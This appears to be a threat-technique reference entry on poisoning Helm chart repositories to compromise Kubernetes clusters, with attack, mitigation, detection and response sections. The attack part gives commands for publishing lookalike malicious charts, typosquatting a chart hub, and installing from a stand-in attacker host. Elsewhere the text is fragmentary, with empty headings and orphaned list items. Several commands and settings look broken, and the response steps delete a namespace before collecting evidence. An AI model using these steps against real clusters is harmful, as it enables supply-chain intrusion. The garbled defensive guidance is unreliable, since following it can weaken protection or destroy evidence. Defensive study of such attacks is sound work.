| Attribute | Details |
|---|---|
| Technique ID | K8S-SUPPLY-001 |
| MITRE ATT&CK v18.1 | T1195.001 - Supply Chain Compromise: Compromise Software Repository |
| Tactic | Initial Access / Supply Chain Compromise |
| Platforms | Kubernetes |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Helm 2.0+ (all active versions) |
| Patched In | N/A - Requires defensive controls, not a patched vulnerability |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Helm Chart Repository Poisoning is a supply chain attack where an attacker compromises or creates a malicious Helm chart repository. When operators pull and deploy charts from this poisoned repository, they unknowingly install malicious applications into their Kubernetes clusters. The attack exploits the implicit trust placed in package repositories and the fact that most organizations pull charts directly from public repositories without cryptographic verification. Attackers can leverage repository credentials, infrastructure vulnerabilities, or social engineering to push malicious charts alongside legitimate ones.
Attack Surface: Helm chart repositories (Helm Hub, ArtifactHub, self-hosted Helm servers, GitHub Pages, S3 buckets used as chart repositories). The attack also leverages Helm client-side processes during helm install, helm upgrade, and helm pull operations.
Business Impact: Full Kubernetes cluster compromise, data theft, lateral movement to underlying infrastructure, persistent backdoor installation, denial of service. Organizations deploying poisoned charts face immediate cluster takeover, potential encryption of workloads for ransomware, exfiltration of sensitive data stored in databases accessed by applications, and supply chain pollution affecting multiple downstream organizations if the poisoned chart is redistributed.
Technical Context: Deployment of poisoned charts can occur instantaneously once the chart is pulled. Detection is extremely difficult because legitimate Helm commands trigger the malicious behavior, and audit logs may show normal deployment operations. Attackers have months or years to hide their presence before discovery, especially if the backdoor is stealthy.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Kubernetes | 5.1.1 / 5.1.2 | Enforce image pull policies; use only approved image registries |
| NIST 800-53 | SA-4 / SI-7 | Software acquisition and integrity verification controls |
| GDPR | Art. 32 | Security measures including third-party risk management |
| NIS2 | Art. 21 | Cyber risk management and supply chain security |
| ISO 27001 | A.14.1 / A.14.2 | Supplier relationships and information security requirements |
Supported Versions:
Tools:
# List configured Helm repositories
helm repo list
# Search for charts in all configured repos
helm search repo | grep -i "nginx\|mysql\|redis"
# Inspect chart details before deploying
helm show chart <repo>/<chart> --version <version>
helm show values <repo>/<chart> --version <version>
What to Look For:
nginx-official vs actual nginx)# Check Helm chart provenance (GPG signature verification)
helm repo update
helm verify <chart-name>-version.tgz
# Inspect chart manifest without deploying
helm template <release-name> <repo>/<chart> --values values.yaml
# Verify image digests (ensure immutability)
helm show values <repo>/<chart> | grep -i "image"
What to Look For:
Supported Versions: Helm 2.0-3.x, Kubernetes 1.14+
Objective: Obtain credentials to legitimate Helm repository or create replica repository with similar naming
Command (Repository Owner Compromise):
# Attacker gains credentials to legitimate repository through phishing, credential stuffing, etc.
# Then uploads malicious chart:
helm package ./malicious-chart/
helm repo index --url https://my-repo.example.com .
# Upload to compromised repository infrastructure
Command (Public Repository Registration):
# Register a legitimate-looking chart on public repository
# Examples: ChartMuseum, Harbor, ArtifactHub
# Create chart with common names: "nginx-pro", "postgres-db", "redis-cache"
cat <<EOF > Chart.yaml
apiVersion: v2
name: nginx-pro
description: A Helm chart for professional nginx deployment
type: application
version: 1.0.0
appVersion: 1.25.0
EOF
# Build malicious container image containing backdoor
# Reference in values.yaml with digest instead of tag to avoid suspicion
Expected Output (if repository upload succeeds):
Chart published successfully to https://artifacthub.io
Chart URL: https://artifacthub.io/packages/helm/attacker-org/nginx-pro
What This Means:
OpSec & Evasion:
Troubleshooting:
nginx-official vs nginx-pro)References & Proofs:
Objective: Trick organization into adding attacker-controlled repository to Helm configuration
Command:
# Organization adds attacker-controlled repository
helm repo add attacker-repo https://attacker.example.com/charts
helm repo update
Command (Social Engineering Variant):
# Attacker sends official-looking documentation recommending repository addition
# Example: "Follow best practices by adding our curated chart repository"
Expected Output:
"attacker-repo" has been added to your repositories
Hang tight while we grab the latest from your chart repositories...
What This Means:
helm search repo will show poisoned chartsObjective: Organization deploys chart believing it is legitimate
Command:
# Operator deploys chart with full cluster access
helm install my-app attacker-repo/nginx-pro -n production
# Or with existing values
helm upgrade my-app attacker-repo/nginx-pro --values values.yaml
Expected Output:
NAME: my-app
LAST DEPLOYED: Fri Jan 10 10:30:00 2026
NAMESPACE: production
STATUS: deployed
REVISION: 1
What This Means:
OpSec & Evasion:
Supported Versions: Helm 2.0-3.x, Kubernetes 1.14+
Objective: Create repository with name similar to legitimate source
Command:
# Register attacker-controlled repository with typosquatted name
# Real: artifacthub.io
# Fake: artifacthub-io.example.com or artifact-hub.io
# Register domain and set up Helm repository
docker run -d -p 8080:8080 ghcr.io/helm/chartmuseum:latest \
--storage=local \
--storage-local-rootdir=/var/lib/chartmuseum
Command:
# Create chart with identical name to legitimate chart
helm package ./nginx-backdoor/
helm repo index .
# Host on attacker-controlled server
# Publish to social media/forums as "performance-optimized" version
Expected Output:
Built successfully. Found 1 charts.
What This Means:
Objective: Operators add wrong repository due to typo or social engineering
Command:
# Organization accidentally adds wrong repository
helm repo add official-charts https://artifacthub-io.example.com/charts
# Should be: https://artifacthub.io/packages/helm
# Deploy from wrong repository
helm install nginx official-charts/nginx
What This Means:
OpSec & Evasion:
Implement Image Signature Verification: Deploy tools like Cosign or Kyverno to enforce that only signed container images are deployed.
Manual Steps (Using Cosign):
cosign generate-key-pair
helm repo add kyverno https://kyverno.github.io/kyverno/
helm install kyverno kyverno/kyverno --namespace kyverno --create-namespace
Enforce Helm Chart Signature Verification: Require cryptographic verification before chart deployment.
Manual Steps (Using Helm Provenance):
gpg --gen-key
# Enable verification in ~/.helm/helm.yaml
export HELM_EXPERIMENTAL_FEATURE_NEW_CHART_FORMAT=on
helm install my-app repo/chart --verify
Restrict Helm Repository Sources: Create allowlist of approved chart repositories.
Manual Steps:
helm repo add internal-charts https://internal-registry.example.com/charts
helm repo add community-charts https://charts.bitnami.com/bitnami
helm repo remove suspicious-repo
Implement Artifact Integrity Validation: Use in-toto or TUF to verify chart and container image provenance.
Manual Steps:
# Use tools like Trivy, Snyk, or Aqua Security
trivy image gcr.io/my-repo/my-app:latest
Audit Helm Repository Access: Monitor and log all chart repository interactions.
Manual Steps:
~/.helm/repositories.yamlImplement Pod Security Standards: Restrict containers to minimal required privileges.
Manual Steps:
kubectl label namespace production pod-security.kubernetes.io/enforce=restricted
apiVersion: v1
kind: Pod
spec:
securityContext:
runAsNonRoot: true
runAsUser: 1000
readOnlyRootFilesystem: true
Enforce Network Policies: Prevent container outbound communication to unexpected destinations.
Manual Steps:
RBAC Restrictions: Limit permissions for chart deployment.
Manual Steps:
# Verify image signature enforcement is active
kubectl get clusterpolicy | grep verify-images
# Verify approved repositories only
helm repo list
# Check for unsigned images
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.spec.containers[*].image}{"\n"}{end}' | grep -v "sha256:"
Expected Output (If Secure):
NAME STATUS
verify-images active
NAME URL
internal-charts https://internal-registry.example.com/charts
# No output = no unsigned images found
What to Look For:
helm repo list~/.helm/repositories.yaml not in organizational allowlistartifacthub-io.com vs artifacthub.io)helm install, helm upgrade commands and resulting API calls
# Query audit logs for chart deployments
kubectl logs -n kube-system -l component=kube-apiserver | grep -i "deployment\|daemonset"
helm history <release-name> -n <namespace>
helm get values <release-name> -n <namespace>
kubectl get pods -n <namespace> -o jsonpath='{.items[*].spec.containers[*].image}'
# Example: Harbor registry logs
docker logs harbor-core | grep "pull\|push"
# Remove malicious chart repository
helm repo remove attacker-repo
# Delete deployed release
helm uninstall <release-name> -n <namespace>
# Quarantine affected namespace
kubectl patch namespace <namespace> -p '{"spec":{"finalizers":[]}}'
kubectl delete namespace <namespace>
# Export Helm release manifests
helm get manifest <release-name> -n <namespace> > release-manifest.yaml
# Capture pod logs
kubectl logs <pod-name> -n <namespace> --all-containers=true > pod-logs.txt
# Export container image
kubectl get pod <pod-name> -n <namespace> -o jsonpath='{.spec.containers[0].image}' | \
xargs -I {} docker pull {} && docker save {} > image-snapshot.tar
# Force delete stuck pods
kubectl delete pod <pod-name> -n <namespace> --grace-period=0 --force
# Verify all resources from chart are removed
kubectl get all -n <namespace>
# Reset Helm repositories to trusted state
helm repo list
helm repo remove <unapproved-repo>
helm repo add approved-repo <legitimate-url>
helm repo update
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [K8S-SUPPLY-001] | Helm Chart Repository Poisoning |
| 2 | Execution | [K8S-SUPPLY-002] | Container Image Registry Tampering |
| 3 | Persistence | Container Backdoor Installation | Malicious container maintains access |
| 4 | Lateral Movement | Kubernetes API Server Exploitation | Escape container to node or cluster |
| 5 | Impact | Data Exfiltration / Ransomware | Encrypt workloads or steal data |